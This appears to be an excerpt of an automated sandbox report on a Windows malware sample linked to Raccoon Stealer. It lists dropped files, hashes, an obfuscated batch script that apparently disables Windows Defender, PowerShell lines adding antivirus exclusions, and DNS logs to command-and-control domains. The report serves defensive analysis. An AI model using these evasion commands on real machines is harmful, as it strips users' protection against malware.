C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gfqhgulf.ukd.psm1
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510
A

Malicious: false

Reputation: unknown

Preview:
1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u455jibt.3e0.ps1
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:U:U

MD5: C4CA4238A0B923820DCC509A6F75849B

SHA1: 356A192B7913B04C54574D18C28D46E6395428AB

SHA-256: 6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B

SHA-512: 4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510
A

Malicious: false

Reputation: unknown

Preview:
1
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C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\AdvancedRun.exe
Process: C:\Users\user\AppData\Local\Temp\37D8.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 91000

Entropy (8bit): 6.241345766746317

Encrypted: false

SSDEEP: 1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3

MD5: 17FC12902F4769AF3A9271EB4E2DACCE

SHA1: 9A4A1581CC3971579574F837E110F3BD6D529DAB

SHA-256: 29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B

SHA-512: 036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4
A

Malicious: false

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....*).....*)..
Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................
<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@...................................................
..............................................................................................................................................................................................................................................................................
.......................

C:\Users\user\AppData\Local\Temp\b3a1716e-237f-4fbf-b044-f43f2eeceac1\test.bat
Process: C:\Users\user\AppData\Local\Temp\37D8.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 8399

Entropy (8bit): 4.665734428420432

Encrypted: false

SSDEEP: 192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N

MD5: B2A5EF7D334BDF866113C6F4F9036AAE

SHA1: F9027F2827B35840487EFD04E818121B5A8541E0

SHA-256: 27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E

SHA-512: 8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189
E

Malicious: false

Reputation: unknown

Preview:
@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%
ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdz
tigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybs
rbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %
trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xa
r%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%j
skzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcx
ymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Roaming\csdfufc

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 212992

Entropy (8bit): 6.734269361613487

Encrypted: false

SSDEEP: 3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP

MD5: 73252ACB344040DDC5D9CE78A5D3A4C2

SHA1: 3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015

SHA-256: B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB

SHA-512: 1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................................................................................................
..........PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x....................
........text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@.............
..............................................................................................................................................................................................................................................................................
.............................

C:\Users\user\AppData\Roaming\esdfufc

Process: C:\Windows\explorer.exe
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File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 347648

Entropy (8bit): 6.0028359766199

Encrypted: false

SSDEEP: 6144:2lTbIu4B96zuF5GVM5/xfe7Yrc+dZX6FzbzfS3:2Bb8BCu3Be7Yrc+dZX6JfK

MD5: 2BA5D1028F7BABCA366060BDE97BF482

SHA1: 98C817B375BB002C37C8DFB778116E4C5D07CD79

SHA-256: 555FD11933A1BB3A71714E1C234CDEAF7EA3C614F24EEBEC3786FB61CB3B5B5E

SHA-512: A708EABF5CB10CE8352CD08FF0E116E37A3274B6EEC347873BD5AB02D716B3DB02F02832318D269BCB03A8AE3F2D901088075D356E69CA3066BA61A1B18656C
C

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....
q.e.Richp.e.........................PE..L...^2R_......................p...................@...........................t.............................................d...P....`s..?....................s.....0...............................p...
@............................................text............................... ..`.data....io.........................@....zegu........Ps.....................@....rsrc....?...`s..@..................@..@.reloc...#....s..$...*....
..........@..B......................................................................................................................................................................................................................................................
..................................................................

C:\Users\user\AppData\Roaming\esdfufc

C:\Users\user\AppData\Roaming\esdfufc:Zone.Identifier

Process: C:\Windows\explorer.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYV:rPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E

Malicious: true

Reputation: unknown

Preview:
[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\gbdfufc

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 347136

Entropy (8bit): 5.994706914620217

Encrypted: false

SSDEEP: 6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH

MD5: 31BE6099D31BDBF1ED339EFFDC1C7064

SHA1: 6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88

SHA-256: 9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885

SHA-512: ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CE
DE

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....
q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@
............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(.....
.........@..B.......................................................................................................................................................................................................................................................
.................................................................

C:\Users\user\AppData\Roaming\wcgjajd

Process: C:\Windows\explorer.exe

File Type: data

Category: dropped

Size (bytes): 337526

Entropy (8bit): 7.9994347952433165

Encrypted: true
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Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 6.0028359766199

SSDEEP: 6144:hQyW+vowXp21P16bYOeIpcrXnlA5CWkyD2aEsaAE13NUW5gVp9k:CwgJmYzrXnsst13+KgVo

MD5: B1A5218C26B5EC43B1B1C7E01D350974

SHA1: 4173B12B20E3E836592884F729EC9D1A11379557

SHA-256: C712ED7BE71D49B51C5C76474DBB962BCD8CC408FDA23548145D0676628FABEA

SHA-512: D7355A3AD598752E5A4FB9877B9CDEC43842342ED0254CA8F760AA55F1271C4BF4EFC479E67C322DF89CA5070BF4E8EE7D35BF2A296C0E9D931B5494489FA2F
5

Malicious: false

Reputation: unknown

Preview:
rR........U:v.R..*....h. E..u.y..W..k.+...Y.s.,H.0.....gl...27.E.B........&.0.?{:.....<....8......+.S..8.p.3q.U....L..u.......S.....:0 A..TP~.n.9,`t.....o...>5.sE..}.... ..?#0.........`....LT..4..Y.z.
$...'....vwd.M...|[+..9.z.My..U.$Q..s;9.i.2.E....A....iM...n...%,.Y.V.9.d.....9...o......#3.l[.](.*D....Zu.1.O3:....I.}{k.k.q.....rf.S.?Uo2.....Lt-.N.!.@.n.!}...#x.....&K..%Y.`..i..f..|QVj..
0._..]..s..hl..m..c....,d..W..n.?.<.0..`._o..z!.I..O.i........l..r...o..9.w1.U8.7.q1. ....%.TW9.+.@".E,.\e....7._nYo.t.....R.Uo...|C.Zd4.B..r....;(...A.,.Dav..!...k...0....=.:./..n.JWL...z9.
...#.J`6.&*.r.\L.H......t..a.x.i4......X.$ug.f..k.y....a........H.N.5P....S.M.M..x.C..m.K.h2....f.....KgI..t.H.'Z...:[.525B.[.l.r.....~Q..a..X.Q.-.P....N..D...G.D....8tg.3..,..y2......`u...f...+<.....
......;..8y../..=.n.....s.i.%..N.q6=1._;.......5..!.m....2s..?k..7l.^-...08..!..,...{... ..Kg......$.v.v....f....ko...,..D....\..*9......S..l.C...6..)...X..6p.`.-......dk..Nel

C:\Users\user\AppData\Roaming\wcgjajd

C:\Users\user\Documents\20211029\PowerShell_transcript.494126.GGT1a5eE.20211029175606.txt
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 866

Entropy (8bit): 5.308899213264465

Encrypted: false

SSDEEP: 24:BxSAjt7vBVLavx2DOXUWeSuLaYWbHjeTKKjX4CIym1ZJXrvduLaE:BZjlvTL6oO+S97bqDYB1Ztvd9E

MD5: 0543B697CA0B9F1007EC3188BEEF0AB5

SHA1: 4E90527B9AEAE030F5E19A392F73EA8E46D17FC1

SHA-256: BE0008ABBA59F1B14AD07D2A51F0347C534F0FCDC421836F1236BD767F486B7B

SHA-512: 27D7A30C3CACF2D987513BF2EDB241F47F1321AD29E49AC1383C5867F567097F11964BB825343762ABB4381D2F47BD68DF8A697553D96A3836BC8E4D6D869F6F

Malicious: false

Reputation: unknown

Preview:
.**********************..Windows PowerShell transcript start..Start time: 20211029175609..Username: computer\user..RunAs User: computer\user..Configuration Name: 
..Machine: 494126 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\user\AppData\Local\Temp\60DF.exe -Force..Process ID: 4836..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 
4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 
1.1.0.1..**********************..**********************..Command start time: 20211029175609..**********************..PS>Add-MpPreference -ExclusionPath C:\Users\user\Ap
pData\Local\Temp\60DF.exe -Force..

C:\Users\user\Documents\20211029\PowerShell_transcript.494126.y4tiu8ZD.20211029175547.txt
Process: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File Type: UTF-8 Unicode (with BOM) text, with CRLF line terminators

Category: dropped

Size (bytes): 5835

Entropy (8bit): 5.367063162435604

Encrypted: false

SSDEEP: 96:BZjWTL6N/qDo1ZtiZjlTL6N/qDo1ZtxJvhjZj4TL6N/qDo1ZtDgxxThZJ4:PpucTfE14

MD5: EE8750EF2439D150C70D76C1C4D7E3BC

SHA1: 2C7C3D46F2346B244656C0524D1E62B490488425

SHA-256: 74B038BB8A334A4372AA13EB4FECB647B573286BC6E45A0D7F257F6494328FED

SHA-512: 86B8458A4F8FA2AAA429063612992350FAFEE53933DAB06A7F4BD41FCF31BBB2CBCED90F987659F6D5AEBB7DD576EBF6BC47EC04688BD3CB625494B3111DFB
EF

Malicious: false

Reputation: unknown

Preview:
.**********************..Windows PowerShell transcript start..Start time: 20211029175550..Username: computer\user..RunAs User: computer\user..Configuration Name: 
..Machine: 494126 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -
ExclusionPath C:\Users\user\AppData\Local\Temp\37D8.exe -Force..Process ID: 5392..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 
4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 
1.1.0.1..**********************..**********************..Command start time: 20211029175550..**********************..PS>Add-MpPreference -ExclusionPath C:\Users\user\Ap
pData\Local\Temp\37D8.exe -Force..**********************..Windows PowerShell transcript start..Start time: 20211029180043..Username: computer\user..RunAs Use
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TrID: Win32 Executable (generic) a (10002005/4) 
99.96%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: y8WngeDn4q.exe

File size: 347648

MD5: 2ba5d1028f7babca366060bde97bf482

SHA1: 98c817b375bb002c37c8dfb778116e4c5d07cd79

SHA256: 555fd11933a1bb3a71714e1c234cdeaf7ea3c614f24eebe
c3786fb61cb3b5b5e

SHA512: a708eabf5cb10ce8352cd08ff0e116e37a3274b6eec3478
73bd5ab02d716b3db02f02832318d269bcb03a8ae3f2d90
1088075d356e69ca3066ba61a1b18656cc

SSDEEP: 6144:2lTbIu4B96zuF5GVM5/xfe7Yrc+dZX6FzbzfS3:2B
b8BCu3Be7Yrc+dZX6JfK

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......4...p.e.p
.e.p.e.....\.e.....R.e.......e.y...w.e.p.d...e.....q.e.....q.e.....q.
e.Richp.e.........................PE..L...^2R_...

General

File Icon

Icon Hash: aedaae9ecea62aa2

General
Entrypoint: 0x41caf0

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: TERMINAL_SERVER_AWARE, NX_COMPAT

Time Stamp: 0x5F52325E [Fri Sep  4 12:26:06 2020 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 1

File Version Major: 5

File Version Minor: 1

Subsystem Version Major: 5

Subsystem Version Minor: 1

Import Hash: 4649591756a77695954d3f167e28cc87

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x3caa0 0x3cc00 False 0.598624774949 data 6.98983847511 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x3e000 0x26f69c8 0x1600 unknown unknown unknown unknown IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.zegu 0x2735000 0x2e5 0x400 False 0.0166015625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x2736000 0x3fa8 0x4000 False 0.735107421875 data 6.34719318888 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

Static PE Info

Entrypoint Preview

Rich Headers

Data Directories

Sections

Copyright Joe Security LLC 2021 Page 30 of 141



Snort IDS Alerts

Network Port Distribution

.reloc 0x273a000 0x123cc 0x12400 False 0.0811884631849 data 1.05043394106 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

Language of compilation system Country where language is spoken Map

Divehi; Dhivehi; Maldivian Maldives

Spanish Paraguay

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

10/29/21-
17:56:10.887532

TCP 2033973 ET TROJAN Win32.Raccoon Stealer CnC Activity (dependency download) 49859 80 192.168.2.6 194.180.174.181

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 29, 2021 17:54:57.048072100 CEST 192.168.2.6 8.8.8.8 0xfbda Standard query 
(0)

xacokuo8.top A (IP address) IN (0x0001)

Oct 29, 2021 17:54:57.162566900 CEST 192.168.2.6 8.8.8.8 0x99c6 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:54:57.608392954 CEST 192.168.2.6 8.8.8.8 0xa0c5 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:54:58.258389950 CEST 192.168.2.6 8.8.8.8 0xfc96 Standard query 
(0)

privacytoo
lzforyou-6000.top

A (IP address) IN (0x0001)

Oct 29, 2021 17:55:02.400264978 CEST 192.168.2.6 8.8.8.8 0xf8f9 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:02.657576084 CEST 192.168.2.6 8.8.8.8 0x91be Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:17.102416992 CEST 192.168.2.6 8.8.8.8 0xffd3 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:17.695029974 CEST 192.168.2.6 8.8.8.8 0x5457 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:17.854537964 CEST 192.168.2.6 8.8.8.8 0x45ab Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:18.019084930 CEST 192.168.2.6 8.8.8.8 0x1a42 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Resources

Imports

Version Infos

Possible Origin

TCP Packets

UDP Packets

DNS Queries
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Oct 29, 2021 17:55:18.197896004 CEST 192.168.2.6 8.8.8.8 0x103a Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:20.409872055 CEST 192.168.2.6 8.8.8.8 0x439f Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:20.586899042 CEST 192.168.2.6 8.8.8.8 0x85c1 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:20.769994020 CEST 192.168.2.6 8.8.8.8 0x5a7c Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:20.954031944 CEST 192.168.2.6 8.8.8.8 0x7576 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:22.848704100 CEST 192.168.2.6 8.8.8.8 0x7019 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:23.524542093 CEST 192.168.2.6 8.8.8.8 0xaa00 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:25.534522057 CEST 192.168.2.6 8.8.8.8 0xd29a Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Oct 29, 2021 17:55:27.609565020 CEST 192.168.2.6 8.8.8.8 0x7f98 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:27.785403967 CEST 192.168.2.6 8.8.8.8 0x6505 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:27.933482885 CEST 192.168.2.6 8.8.8.8 0x74cb Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Oct 29, 2021 17:55:27.957577944 CEST 192.168.2.6 8.8.8.8 0xb17f Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:28.144896984 CEST 192.168.2.6 8.8.8.8 0x310b Standard query 
(0)

iyc.jelikob.ru A (IP address) IN (0x0001)

Oct 29, 2021 17:55:28.640609980 CEST 192.168.2.6 8.8.8.8 0xf7b0 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:28.827136993 CEST 192.168.2.6 8.8.8.8 0x615b Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:28.992240906 CEST 192.168.2.6 8.8.8.8 0x331f Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:29.181817055 CEST 192.168.2.6 8.8.8.8 0x74f5 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:31.119785070 CEST 192.168.2.6 8.8.8.8 0x1456 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:31.295265913 CEST 192.168.2.6 8.8.8.8 0xceae Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:31.475876093 CEST 192.168.2.6 8.8.8.8 0x8cae Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:32.072633982 CEST 192.168.2.6 8.8.8.8 0x1a63 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:32.250112057 CEST 192.168.2.6 8.8.8.8 0xd64a Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:35.041301012 CEST 192.168.2.6 8.8.8.8 0xebd5 Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Oct 29, 2021 17:55:36.899585962 CEST 192.168.2.6 8.8.8.8 0x50b0 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:37.075726986 CEST 192.168.2.6 8.8.8.8 0xf56d Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:37.260876894 CEST 192.168.2.6 8.8.8.8 0xfc0e Standard query 
(0)

sysaheu90.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:44.058342934 CEST 192.168.2.6 8.8.8.8 0xd3c8 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:44.232764006 CEST 192.168.2.6 8.8.8.8 0xc019 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:44.468173027 CEST 192.168.2.6 8.8.8.8 0x5485 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:44.691632986 CEST 192.168.2.6 8.8.8.8 0x6c97 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:44.984433889 CEST 192.168.2.6 8.8.8.8 0x59ff Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:45.186166048 CEST 192.168.2.6 8.8.8.8 0x764b Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:45.385817051 CEST 192.168.2.6 8.8.8.8 0xf4c7 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:45.566839933 CEST 192.168.2.6 8.8.8.8 0x4935 Standard query 
(0)

hajezey1.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:52.089204073 CEST 192.168.2.6 8.8.8.8 0x85a0 Standard query 
(0)

telegalive.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:55.272018909 CEST 192.168.2.6 8.8.8.8 0xf230 Standard query 
(0)

telegalive.top A (IP address) IN (0x0001)

Oct 29, 2021 17:55:58.546071053 CEST 192.168.2.6 8.8.8.8 0xe9f4 Standard query 
(0)

telegalive.top A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
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Oct 29, 2021 17:56:02.494286060 CEST 192.168.2.6 8.8.8.8 0xd3c4 Standard query 
(0)

telegalive.top A (IP address) IN (0x0001)

Oct 29, 2021 17:56:04.667323112 CEST 192.168.2.6 8.8.8.8 0x9621 Standard query 
(0)

nusurtal4f.net A (IP address) IN (0x0001)

Oct 29, 2021 17:56:05.123013973 CEST 192.168.2.6 8.8.8.8 0x5054 Standard query 
(0)

znpst.top A (IP address) IN (0x0001)

Oct 29, 2021 17:56:06.009197950 CEST 192.168.2.6 8.8.8.8 0xcd69 Standard query 
(0)

telegalive.top A (IP address) IN (0x0001)

Oct 29, 2021 17:56:09.367886066 CEST 192.168.2.6 8.8.8.8 0x83cb Standard query 
(0)

telegalive.top A (IP address) IN (0x0001)

Oct 29, 2021 17:56:10.137373924 CEST 192.168.2.6 8.8.8.8 0x2672 Standard query 
(0)

toptelete.top A (IP address) IN (0x0001)

Oct 29, 2021 17:56:16.734692097 CEST 192.168.2.6 8.8.8.8 0x610 Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Oct 29, 2021 17:56:17.033591032 CEST 192.168.2.6 8.8.8.8 0x7a4e Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

Oct 29, 2021 17:56:27.189867973 CEST 192.168.2.6 8.8.8.8 0xebe1 Standard query 
(0)

cdn.discor
dapp.com

A (IP address) IN (0x0001)

Oct 29, 2021 17:56:31.105573893 CEST 192.168.2.6 8.8.8.8 0xcd72 Standard query 
(0)

mas.to A (IP address) IN (0x0001)

Oct 29, 2021 17:57:06.855134010 CEST 192.168.2.6 8.8.8.8 0xe273 Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

Oct 29, 2021 17:57:07.211366892 CEST 192.168.2.6 8.8.8.8 0x163 Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

Oct 29, 2021 17:57:22.304686069 CEST 192.168.2.6 8.8.8.8 0x9e0a Standard query 
(0)

api.2ip.ua A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 29, 2021 
17:54:57.149771929 
CEST

8.8.8.8 192.168.2.6 0xfbda Name error (3) xacokuo8.top none none A (IP address) IN (0x0001)

Oct 29, 2021 
17:54:57.449575901 
CEST

8.8.8.8 192.168.2.6 0x99c6 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:54:58.081223011 
CEST

8.8.8.8 192.168.2.6 0xa0c5 No error (0) hajezey1.top 185.98.87.159 A (IP address) IN (0x0001)

Oct 29, 2021 
17:54:58.690633059 
CEST

8.8.8.8 192.168.2.6 0xfc96 No error (0) privacytoo
lzforyou-6000.top

